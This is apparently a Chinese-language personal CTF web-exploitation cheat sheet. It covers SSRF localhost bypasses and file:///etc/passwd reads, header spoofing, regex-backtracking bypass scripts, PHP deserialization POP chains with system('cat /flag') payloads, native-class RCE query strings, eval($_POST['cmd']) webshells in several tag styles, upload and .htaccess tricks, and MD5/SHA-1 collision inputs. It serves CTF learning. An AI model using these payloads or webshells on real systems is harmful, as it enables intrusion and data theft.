  • 0e545993274517709034328855841020
  • s1665632922a
  • 0e731198061491163073197128363787
  • s1502113478a
  • 0e861580163291561247404381396064
  • s1836677006a
  • 0e481036490867661113260034900752
  • s1091221200a
  • 0e940624217856561557816327384675
  • NWWKITQ
  • 0e763082070976038347657360817689
  • NOOPCJF
  • 0e818888003657176127862245791911
  • MAUXXQC
  • 0e478478466848439040434801845361
  • MMHUWUV
  • 0e701732711630150438129209816536

纯数字和纯字母md5相等

QNKCDZO

240610708

sha1解密为0e开头的

aaroZmOk

常规文件地址

robots.txt

readme.md

www.zip/rar/tar.gz

ls命令被绕过了的话,可以试试dir

可能用到PHP伪协议的几个文件包含函数

  • 可能遇到的文件包含函数:
  • include
  • require
  • include_once
  • require_once
  • highlight_file
  • show_source
  • flie
  • readfile
  • file_get_contents
  • file_put_contents
  • fopen (比较常见)

Flask之session伪造

python flask_session_cookie_manager3.py encode -s "woshicaiji" -t "{'username': b'admin'}"

这种问题首先就是,想要伪造就必定会有密钥,由一定几率会在名字为config的文件下,然后就是他得是flask框架,还得要有session才行,如果没有(有一次就遇到了),那就自己在bp加一个Cookie:session=

PHP strcmp() 函数

作用是比较两个字符串,可以使用数组绕过

SSRF普通姿势

127.0.0.1的各种转化

  • 0.0.0.0
  • 0
  • 127.1
  • localhost
  • http://127.0.0.1/flag.php短网址:surl-2.cn/0nPI
  • DNS重定向
  • 2130706433(十进制)
  • 0x7f.0.0.1(十六进制)或者是0x7F000001
  • 0177.0.0.1(八进制)
  • @127.0.0.1(@绕过前面的网址)
  • 0:80(端口绕过)
  • 127。0。0。1
  • http://nip.io ; http://sslip.io(特殊域名绕过)

一些可以解析成127.0.0.1的公共域名

  • http://safe.taobao.com/ #注意最后的pyload应有两条/
  • http://114.taobao.com/
  • http://wifi.aliyun.com/
  • http://imis.qq.com/
  • http://localhost.sec.qq.com/
  • http://ecd.tencent.com/

一些常见的限制绕过

1.限制为http://www.xxx.com 域名

采用http基本身份认证的方式绕过,即@
http://www.xxx.com@www.xxc.com

2.限制请求IP不为内网地址

当不允许ip为内网地址时:
(1)采取短网址绕过
(2)采取特殊域名
(3)采取进制转换

3.限制请求只为http协议

(1)采取302跳转
(2)采取短地址

常见的SSRF伪协议

  • file:/// 从文件系统中获取文件内容,如,file:///etc/passwd
  • dict:// 字典服务器协议,访问字典资源,如,dict:///ip:6739/info:
  • sftp:// SSH文件传输协议或安全文件传输协议
  • ldap:// 轻量级目录访问协议
  • tftp:// 简单文件传输协议
  • gopher:// 分布式文档传递服务,可使用gopherus生成payload

/proc/self/environ:用于查看当前进程下的环境变量,可能包含用户信息。/proc目录就是查询进程目录的接口,/self 就是用来读取当前进程的接口

目前遇到的一些SSRF小经验

目前来说,会遇到一些文字提示得注意,不要老是不知道这说的是啥意思

首先第一种就是:flag in localhost

这种就是告诉我们,要SSRF,就是访问127.0.0.1的意思

通常这种东西后面还会跟上,end with 123

这就是说,要把127.0.0.1变成127.0.0.123

然后第二种就是:用个不安全的网络协议

这个讲的也是使用127.0.0.1

Web HTTP相关经验小总结

  • GET 发送请求来获得服务器上的资源,请求体中不会包含请求数据,请求数据放在协议头中。另外get支持快取、缓存、可保留书签等。幂等
  • POST 和get一样很常见,向服务器提交资源让服务器处理,比如提交表单、上传文件等,可能导致建立新的资源或者对原有资源的修改。提交的资源放在请求体中。不支持快取。非幂等
  • HEAD 本质和get一样,但是响应中没有呈现数据,而是http的头信息,主要用来检查资源或超链接的有效性或是否可以可达、检查网页是否被串改或更新,获取头信息等,特别适用在有限的速度和带宽下。
  • PUT 和post类似,html表单不支持,发送资源与服务器,并存储在服务器指定位置,要求客户端事先知道该位置;比如post是在一个集合上(/province),而put是具体某一个资源上(/province/123)。所以put是安全的,无论请求多少次,都是在123上更改,而post可能请求几次创建了几次资源。幂等
  • DELETE 请求服务器删除某资源。和put都具有破坏性,可能被防火墙拦截。如果是https协议,则无需担心。幂等
  • CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。就是把服务器作为跳板,去访问其他网页然后把数据返回回来,连接成功后,就可以正常的get、post了。
  • OPTIONS 获取http服务器支持的http请求方法,允许客户端查看服务器的性能,比如ajax跨域时的预检等。
  • TRACE 回显服务器收到的请求,主要用于测试或诊断。一般禁用,防止被恶意攻击或盗取信息。

请求方法

当遇到题目提示是用某某某方法发送请求的则需要修改请求方法

从内网访问

若提示是从内网访问,或者说需要某某IP才能访问的则需要用到X-Forwarded-For头伪装,有时候要把X-Forwarded-For的三个参数都输入。

X-Forwarded-For被禁用时,可以使用X-Client-ip或者是X-Real-IP

从某网站跳转

若提示说访问此网站得由某某网站中访问,则需要改Referer

身份为admin才可以访问

若提示说身份为admin才可访问的,一般是修改cookie

从某某浏览器访问

若提示说要从某某浏览器访问则需要改user-agent

local access only或者是use own conputer

就是告诉我们xff得是127.0.0.1

提到苹果或者是Macos

提示我们要去查看.DS_store

某某代理

使用via

某某时间

标准格式如下:Date:Tue, 20 Aug 2024 00:00:00 GMT

回溯绕过

preg_match()的匹配存在回溯,回溯次数上限是1000000次,超过上限后函数直接返回false

如果遇到以下几种代码,有可能就会遇到回溯绕过

if(preg_match('/SELECT.+FROM.+/is', $input)) 
{ 
    die('SQL Injection'); 
}

或者是

if(preg_match('/UNION.+?SELECT/is', $input)) { 
    die('SQL Injection'); 
}

这样子看这些规律的话,应该是又出现加号之类的,可能会用到回溯绕过?

这里再次回头补充,以上案例是涉及到非贪婪模式匹配,.+?的形式应该是其特点之一,

最后贴个代码 POST版

import requests
data={"pan[gu":"a"*(1000000)+"2023ISCTF"}
url="http://47.109.106.104:9999/?hongmeng[]=1&shennong[]=2&zhurong[]=1"
res = requests.post(data=data,url=url)
print(res.text)

再贴一个POST过滤版,但是他这个输出是jscode的形式,可以修改

import requests
payload='{"cmd":"?><?= `tail /f*`?>","test":"' + "@"*(1000000) + '"}'
res = requests.post("http://node4.anna.nssctf.cn:28038/", data={"letter":payload})
print(res.text)

GET版

import requests
from io import BytesIO
data=BytesIO(b'secret'+b'a'*1000000)
res=requests.get('url'+str(data))
print(res.content)

这个代码是在做这道题目的时候碰到的

能看到的规律有,如果有出现+?的形式,那多半是这个问号要绕过100万次,再总结一下适用的场景,目前只遇到过要是正则匹配出现===false或者是遇到==false的时候,会用到这个方法。好像也并非一定,但是总归是围绕过正则匹配提供了一种思路。

还看到了一种绕过姿势,一并记了吧,就是.号绕过,在正则匹配的样子应该是 .*(flag).* 这样子的,可用换行%0a绕过。

关于回溯绕过的一些补充

最近又碰到了一道题目,同样需要回溯绕过,首先先完善一下正则匹配的NFA机制,NFA机制是遵循从后往前去匹配的一个原则,比如我去匹配.*[a]和abcd,.*会先匹配一整串的abcd,然后因为后面有个[a],于是他会依次从d开始吐出匹配,开始是abcd,然后就是abc,再ab,以此类推,一直到a,匹配成功。同时这个正则匹配是将所有案例匹配完后才能返回bool值,也就是说,没有匹配完的话,是不会返回bool值的。所以要利用这个特性就要有一个特殊的字符——.*,这个字符表示可以匹配任意字符,然后再根据限制条件让他进入回溯状态,就可以打破它的回溯上线完成绕过,而回溯绕过的上线是一百万次,于是就可以通过上面的脚本,得到flag

php反序列化pop链思路总结

pop链的解题思路为,先找危险函数,include(),eval()之类的函数,在此之上开始倒推,逆向出整条pop链,开始构造exp

常见的魔术方法汇总

  • __call 调用不可访问或不存在的方法时被调用
  • __callStatic 调用不可访问或不存在的静态方法时被调用
  • __clone 进行对象clone时被调用,用来调整对象的克隆行为
  • __constuct 构建对象的时被调用;
  • __debuginfo 当调用var_dump()打印对象时被调用(当你不想打印所有属性)适用于PHP5.6版本
  • __destruct 明确销毁对象或脚本结束时被调用;
  • __get 读取不可访问或不存在属性时被调用
  • __invoke 当以函数方式调用对象时被调用
  • __isset 对不可访问或不存在的属性调用isset()或empty()时被调用
  • __set 当给不可访问或不存在属性赋值时被调用
  • __set_state 当调用var_export()导出类时,此静态方法被调用。用__set_state的返回值做为var_export的返回值。
  • __sleep 当使用serialize时被调用,当你不需要保存大对象的所有数据时很有用
  • __toString 当一个类被转换成字符串时被调用
  • __unset 对不可访问或不存在的属性进行unset时被调用
  • __wakeup 当使用unserialize时被调用,可用于做些对象的初始化操作

__wakeup 一定会调用
__destruct 一定会调用
__toString 当一个对象被反序列化后又被当做字符串使用
反序列化的常见中间跳板:

__toString 当一个对象被当做字符串使用
__get 读取不可访问或不存在属性时被调用
__set 当给不可访问或不存在属性赋值时被调用
__isset 对不可访问或不存在的属性调用isset()或empty()时被调用。形如 $this->$func();
反序列化的常见终点:

__call 调用不可访问或不存在的方法时被调用
call_user_func 一般php代码执行都会选择这里
call_user_func_array 一般php代码执行都会选择这里

经验之谈:

__get:在遇到像 a->b->c 这种的时候,使用b对象这个不存在的对象,可以激活get方法。

还有当调用到私有变量的时候,也可以激活get方法

__toString:按我现在的理解的话,pop链之间的跳板,用于跳到下一个类。在构造类似 $a->b=$c 时,会触发,toString方法。

字符串的拼接,大小写,或者是黑名单都会调用到toString方法

__invoke:在遇到return $funtion();的时候,会触发这个方法。

  $b = $this->a;
  $b($this->title);

出现这两个组合代码时,就可以构造system(‘cat /flag’);

call_user_func()函数会触发invoke方法,这个函数的第一个函数会将第一个参数当作是回调函数

__get 是访问不存在的属性或者私有变量

__call 调用不存在的方法

遇到了一题比较有意思的题目,附上源代码如下:

<?php
show_source(__FILE__);
$username  = "this_is_secret"; 
$password  = "this_is_not_known_to_you"; 
include("flag.php");//here I changed those two 
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
    echo $flag;
}else{
    echo "username or password error!";

}
?>

很明显这是一道反序列化的题目,因为出现了unserialize()这个经典的反序列化函数,但是让我摸不着头脑的是我该如何去构造这个反序列化,后来发现了构造数组这个没见过的方法,直接上pyload

<?php
$ab=array(
    'username'=>true,
	'password'=>true"
);
$b=serialize($ab);
echo $b;
?>

为什么会有true?很简单,因为源代码中出现了两个弱比较 ==,而true在弱比较中,显然始终是正确的。

PHP反序列化原生类和伪协议

今天做到一道题目发现他是没有危险函数的,而且也没有输出函数,题目源代码如下

<?php
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
    public $name;
    public $rank;
    private $salary;
    public function __construct($name,$rank,$salary = 10000){
        $this->name = $name;
        $this->rank = $rank;
        $this->salary = $salary;
    }
}

class classroom{
    public $name;
    public $leader;
    public function __construct($name,$leader){
        $this->name = $name;
        $this->leader = $leader;
    }
    public function hahaha(){
        if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
            return False;
        }
        else{
            return True;
        }
    }
}

class school{
    public $department;
    public $headmaster;
    public function __construct($department,$ceo){
        $this->department = $department;
        $this->headmaster = $ceo;
    }
    public function IPO(){
        if($this->headmaster == 'ong'){
            echo "Pretty Good ! Ctfer!\n";
            echo new $_POST['a']($_POST['b']);
        }
    }
    public function __wakeup(){
        if($this->department->hahaha()) {
            $this->IPO();
        }
    }
}

if(isset($_GET['d'])){
    unserialize(base64_decode($_GET['d']));
}
?>

可以通过审计全篇代码发现没有任何的危险函数,但是确有这种语句: echo new $_POST[‘a’]($_POST[‘b’]);这个时候就要用到PHP原生类来读取文件,原生类为SplFileObject

反序列化代码如下

<?php
class teacher{
    public $name;
    public $rank;
    private $salary;

}

class classroom{
    public $name;
    public $leader;

}

class school{
    public $department;
    public $headmaster;
    
}
$a=new teacher();
$b=new classroom();
$c=new school();
$c->department=$b;
$c->headmaster='ong';
$b->leader=$a;
$b->name='one class';
$a->name='ing';
$a->rank='department';
echo base64_encode(serialize($c));
?>

payload如下

对此也是去搜集了一些常用的内置类

  • Error
  • Exception
  • SoapClient
  • DirectoryIterator
  • FilesystemIterator
  • SplFileObject
  • SimpleXMLElement

至于各自的作用,有空了再研究吧

再贴一个别的题目的payload

<?php
highlight_file(__FILE__);
$a=$_GET['a'];
$aa=$_GET['aa'];
$b=$_GET['b'];
$bb=$_GET['bb'];
$c=$_GET['c'];
((new $a($aa))->$c())((new $b($bb))->$c());
?a=SplFileObject&aa=data://text/plain,system&c=__toString&b=SplFileObject&bb=data://text/plain,cat%20/flag

这个是拼接原生类的模式,然后中间需要一个__toString魔术方法去将变量转换成字符串

关于php原生类的学习

SplFileObject是用于读取文件的原生类,感觉用到原生类的话,可能等都需要使用到伪协议;Filesystemlterator是用于搜寻文件路径的原生类,看到一道题目是配合glob协议来进行文件查找

glob://协议,查找文件路径

Error、Exception原生类

建立报错信息,开启报错

一个作用首先是后面提到过的Error原生类绕过md5,华友一个作用就是构造xss。

$a = new Error("<script>alert('xss')</script>");

根据这个这个代码就可以构建报错信息达到xss注入的效果

a=ArrayIterator&aa[]=system&c=current&b=ArrayIterator&bb[]=ls /

ArrayIterator类

可调用current方法返回当前值,并且属性需要传入数组

a=ArrayIterator&aa[]=system&c=current&b=ArrayIterator&bb[]=cat /f*

PHP7对于对象类型不敏感

今天碰到一道题目

<?php
include "flag.php";
class Index{
    private $Polar1;
    private $Polar2;
    protected $Night;
    protected $Light;

    function getflag($flag){
        $Polar2 = rand(0,100);
        if($this->Polar1 === $this->Polar2){
            $Light = rand(0,100);
            if($this->Night === $this->Light){
                echo $flag;
            }
        }
        else{
            echo "Your wrong!!!";
        }
    }
}
if(isset($_GET['sys'])){
    $a = unserialize($_GET['sys']);
    $a->getflag($flag);
}
else{
    highlight_file("index.php");
}
?>

这道题目的用的是php7,所以可以直接把private $Polar1和private $Polar2;全部都转换成共有的public,再说说这道题日的相等思路,直接赋值地址就可以了

看到一个小方法就是当php反序列化的时候,如果被正则过滤了可以使用16进制绕过

PHPGC绕过

打源鲁杯的时候碰到的一个知识点

throw new Exception("Nope");

一开始很疑惑这是什么意思,后来才知道这是GC回收(垃圾回收机制)

我们都知道,php反序列化的时候_destruct()方法会自动触发,因为一个类在创建之后会自动销毁,然后就会自动触发此类方法,而此时throw自动回收了被销毁的类,导致_distruct()方法不能被触发。所以遇到这个函数就代表着要去绕过它

绕过方法有两种

(1)对象被unset()处理时,可以触发。

(2)数组对象为NULL时,可以触发。

运行得到:

a:2:{i:0;O:5:”Start”:1:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:7:”cat /f*”;}}}}}i:1;i:0;}

我们将最后的 i:1 替换为 i:0

即:

a:2:{i:0;O:5:”Start”:1:{s:6:”errMsg”;O:6:”Crypto”:1:{s:3:”obj”;O:7:”Reverse”:1:{s:4:”func”;O:3:”Pwn”:1:{s:3:”obj”;O:3:”Web”:2:{s:4:”func”;s:6:”system”;s:3:”var”;s:7:”cat /f*”;}}}}}i:0;i:0;}

PHP反序列化is_file()函数绕过

php伪协议绕过

MD5(INF)===MD5(9e99999)

在打ctfshow的单身狗杯时遇到了一道题目

<?php
    error_reporting(0);
    highlight_file(__FILE__);

    class ctfshow {
        private $d = '';
        private $s = '';
        private $b = '';
        private $ctf = '';

        public function __destruct() {
            $this->d = (string)$this->d;
            $this->s = (string)$this->s;
            $this->b = (string)$this->b;

            if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
                $dsb = $this->d.$this->s.$this->b;

                if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
                    if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
                        if (md5($dsb) === md5($this->ctf)) {
                            echo file_get_contents("/flag.txt");
                        }
                    }
                }
            }
        }
    }

    unserialize($_GET["dsbctf"]);

可以看到这道题目要求我们输入$b、$s、$d这三个参数,如果这三个参数不相等,就会拼接在一起成为$bsd,然后与$ctf作比较,如果不相等且MD5值强相等,就输出flag

这个时候,我首先遇到的难点是,MD5爆破不出来,也就是说,无法进行MD5碰撞来获得到正确答案,后来就发现了PHP里一个特别的东西叫INF(无穷大),

相关博客:【反序列化】md5_tricks反序列化INF绕过_md5反序-CSDN博客

而众所周知,在科学计数法中,9e99999也代表着无限大,然后因为科学计数法的特殊性,只计数 9 e +这三个数,所以长度为三,那么他们的md5会相等吗

于是直接上来一手构造

<?php
    error_reporting(0);
    highlight_file(__FILE__);

    class ctfshow {
        private $d = '';
        private $s = '';
        private $b = '';
        private $ctf = '';
        public function __construct()
        {
            $this->d='I';
            $this->s='N';
            $this->b='F';
            $this->ctf=9e99999;
        }
        public function __destruct() {
            $this->d = (string)$this->d;
            $this->s = (string)$this->s;
            $this->b = (string)$this->b;

            if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {
                $dsb = $this->d.$this->s.$this->b;

                if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {
                    if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {
                        if (md5($dsb) === md5($this->ctf)) {
                            echo file_get_contents("/flag.txt");
                        }
                    }
                }
            }
        }
    }

$a=new ctfshow();
echo urlencode(serialize($a));

这里必须得记得urlencode我们序列化的值,踩过的坑,不必多说。

date()函数绕过

date()函数会将一个字符串按照特定的时间格式进行转义,这个时候就要使用\防止转义

看了一篇文章,取反绕过不能在php5中使用

搜集一些.htaccess文件的命令

Sethandlerapplication/x-httpd-php:将文件都按照PHP文件来执行,这样插进去一个PNG的文件也可以作为PHP文件执行,从而控制网站

AddType application/x-httpd-php .png //.png文件当作php文件解析

普通文件上传的几类思路

前台JS绕过

一句话木马

双写后缀绕过

.htaccess文件

user.ini文件

使用%00截断有两个条件

  • php版本小于5.3.4
  • magic_quotes_gpc为off状态

文件头检查

这里可以每次写一句话的时候,顺手写个GIF89a也不是不行。

MIME绕过

修改Content-Type类型

MIME类型校验

就是我们在上传文件到服务端的时候,服务端会对客户端也就是我们上传的文件的Content-Type类型进行检测,如果是白名单所允许的,则可以正常上传,否则上传失败。

PHP四种标记风格
1.XML风格
<?php eval($_POST[‘cmd’]);?>
php推荐使用的标记风格。
服务器管理员无法禁用,所有服务器上均可使用该风格。
2.脚本风格

<script language=”php”> eval($_POST[‘cmd’]); </script>
默认开启,无法禁用
曾遇到过一CTF题目,要求上传shell,但是却对文件内容做了过滤 ,<? 以及 php,替换为了空格。此种风格中,language的值,大小写都可以,因此可以构造如下代码进行绕过

<script language=”PhP”> eval($_POST[‘cmd’]); </script>
3.简短风格
<? eval($_POST[‘cmd’]); ?>
此种风格需要在配置文件php.ini中启用short_open_tage选项
此种风格在许多环境中默认是不支持的
4.ASP风格
<% eval($_POST[‘cmd’]); %>
此种风格需要在配置文件php.ini中启用asp_tag选项
在默认情况下是禁用的
5.上次看到了hz的一种绕过<?php黑名单的方法,就是<?=

Apache文件上传解析漏洞

index.php.asc.cdb格式的,就是多后缀。Apache对文件名后缀的识别是从后往前进行的,当遇到不认识的后缀时,继续往前,直到识别。也就是说如果在Apache服务器下将php后缀写入黑名单,是可以通过多后缀的形式将其绕过的。

SSTI之Jinja2

今天做到一道题目时SSTI注入,然后发现他是python的Jinja2框架,很明显,需要用到Jinja2的诸如语法,很可惜的是,我不会,但是这个时候我发现了一个工具,叫做fenjing,可以一键梭哈这个框架,下面是使用这个工具的命令,防止我忘记了。

第一个命令是

python -m fenjing webui
这个命令就是可以打开一个类似网页的东西,怎么说呢,就是整的比较花哨一点吧。

第二个命令是

python -m fenjing scan –url ‘http://xxxx:xxx/yyy’

这个就比较普通了,就是在kali的虚拟终端上面跑。

总的来说,体验下来感觉是非常牛逼的,等有机会了再深挖一下其他功能。

关于JS审计那些事儿

关于JS这类签到题,有时候会需要修改JS代码的操作,让我总是没有什么头绪,因为我不知道怎么改,今天刚发现,诀窍是将网页保存下来修改JS代码,然后,在下载出打开html文件,就可以了。

PHP的字符串解析特性绕过Waf

当我们遇到传参的数值不让是字母的时候,我们可以用 ?空格num= 的形式进行绕过,然后就可以用到上面的无参RCE。

CVE-2020-7066

PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的get_headers()函数存在安全漏洞。攻击者可利用该漏洞造成信息泄露。

在低于7.2.29的PHP版本7.2.x,低于7.3.16的7.3.x和低于7.4.4的7.4.x中,将get_headers()与用户提供的URL一起使用时,如果URL包含零(\ 0)字符,则URL将被静默地截断。这可能会导致某些软件对get_headers()的目标做出错误的假设,并可能将某些信息发送到错误的服务器。

也就是说,可以%00截断

MD5强比较

$a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2

$b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
array1=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab&array2=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

$data1=”\xd1\x31\xdd\x02\xc5\xe6\xee\xc4\x69\x3d\x9a\x06\x98\xaf\xf9\x5c\x2f\xca\xb5\x07\x12\x46\x7e\xab\x40\x04\x58\x3e\xb8\xfb\x7f\x89\x55\xad\x34\x06\x09\xf4\xb3\x02\x83\xe4\x88\x83\x25\xf1\x41\x5a\x08\x51\x25\xe8\xf7\xcd\xc9\x9f\xd9\x1d\xbd\x72\x80\x37\x3c\x5b\xd8\x82\x3e\x31\x56\x34\x8f\x5b\xae\x6d\xac\xd4\x36\xc9\x19\xc6\xdd\x53\xe2\x34\x87\xda\x03\xfd\x02\x39\x63\x06\xd2\x48\xcd\xa0\xe9\x9f\x33\x42\x0f\x57\x7e\xe8\xce\x54\xb6\x70\x80\x28\x0d\x1e\xc6\x98\x21\xbc\xb6\xa8\x83\x93\x96\xf9\x65\xab\x6f\xf7\x2a\x70″;
$data2=”\xd1\x31\xdd\x02\xc5\xe6\xee\xc4\x69\x3d\x9a\x06\x98\xaf\xf9\x5c\x2f\xca\xb5\x87\x12\x46\x7e\xab\x40\x04\x58\x3e\xb8\xfb\x7f\x89\x55\xad\x34\x06\x09\xf4\xb3\x02\x83\xe4\x88\x83\x25\x71\x41\x5a\x08\x51\x25\xe8\xf7\xcd\xc9\x9f\xd9\x1d\xbd\xf2\x80\x37\x3c\x5b\xd8\x82\x3e\x31\x56\x34\x8f\x5b\xae\x6d\xac\xd4\x36\xc9\x19\xc6\xdd\x53\xe2\xb4\x87\xda\x03\xfd\x02\x39\x63\x06\xd2\x48\xcd\xa0\xe9\x9f\x33\x42\x0f\x57\x7e\xe8\xce\x54\xb6\x70\x80\xa8\x0d\x1e\xc6\x98\x21\xbc\xb6\xa8\x83\x93\x96\xf9\x65\x2b\x6f\xf7\x2a\x70″;

SHA-1碰撞

array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&array2=%25PDF1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

